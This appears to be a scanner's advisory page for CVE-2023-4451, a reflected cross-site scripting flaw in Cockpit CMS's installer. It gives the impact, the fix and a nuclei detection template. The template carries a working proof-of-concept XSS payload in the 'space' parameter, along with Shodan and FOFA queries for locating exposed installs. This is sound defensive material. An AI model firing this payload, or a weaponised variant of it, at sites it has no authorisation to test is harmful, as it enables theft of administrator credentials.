Cockpit - Cross-Site Scripting

mediumseverity

6.1CVSS score

2.5%likelihood of exploitation, next 30 days

85%of all CVEs are less likely

Readycheck to confirm it

Cross-site Scripting (XSS) - Reflected in GitHub repository cockpit-hq/cockpit prior to 2.6.4.

Impact

Unauthenticated attackers can inject malicious JavaScript through the space parameter in the installation interface to steal administrator credentials during Cockpit CMS setup.

Fix

Update Cockpit to version 2.6.4 or later that properly sanitizes and encodes the space parameter in the install/index.php interface.

How to confirm it

Send: GET {{BaseURL}}/install/index.php?1692443074&space=%3Cimg%20src=1%20onerror=alert(document.domain)%3E
Positive when: contains "Space :<img src=1 onerror=alert(document.domain)>: does not…" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-4451 -u <target>

The full check

id: CVE-2023-4451

info:
  name: Cockpit - Cross-Site Scripting
  author: iamnoooob,pdresearch
  severity: medium
  description: |
    Cross-site Scripting (XSS) - Reflected in GitHub repository cockpit-hq/cockpit prior to 2.6.4.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the space parameter in the installation interface to steal administrator credentials during Cockpit CMS setup.
  remediation: |
    Update Cockpit to version 2.6.4 or later that properly sanitizes and encodes the space parameter in the install/index.php interface.
  reference:
    - https://huntr.dev/bounties/4e111c3e-6cf3-4b4c-b3c1-a540bf30f8fa/
    - https://github.com/Cockpit-HQ/Cockpit/commit/30609466c817e39f9de1871559603e93cd4d0d0c
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4451
    - https://github.com/cockpit-hq/cockpit/commit/30609466c817e39f9de1871559603e93cd4d0d0c
    - https://github.com/fkie-cad/nvd-json-data-feeds
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-4451
    cwe-id: CWE-79
    epss-score: 0.02478
    epss-percentile: 0.84701
    cpe: cpe:2.3:a:agentejo:cockpit:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: agentejo
    product: cockpit
    shodan-query:
      - html:"Cockpit"
      - http.favicon.hash:688609340
      - http.html:"cockpit"
    fofa-query:
      - icon_hash=688609340
      - body="cockpit"
  tags: cve2023,cve,huntr,cockpit,xss,agentejo,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/install/index.php?1692443074&space=%3Cimg%20src=1%20onerror=alert(document.domain)%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Space :<img src=1 onerror=alert(document.domain)>: does not exist"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from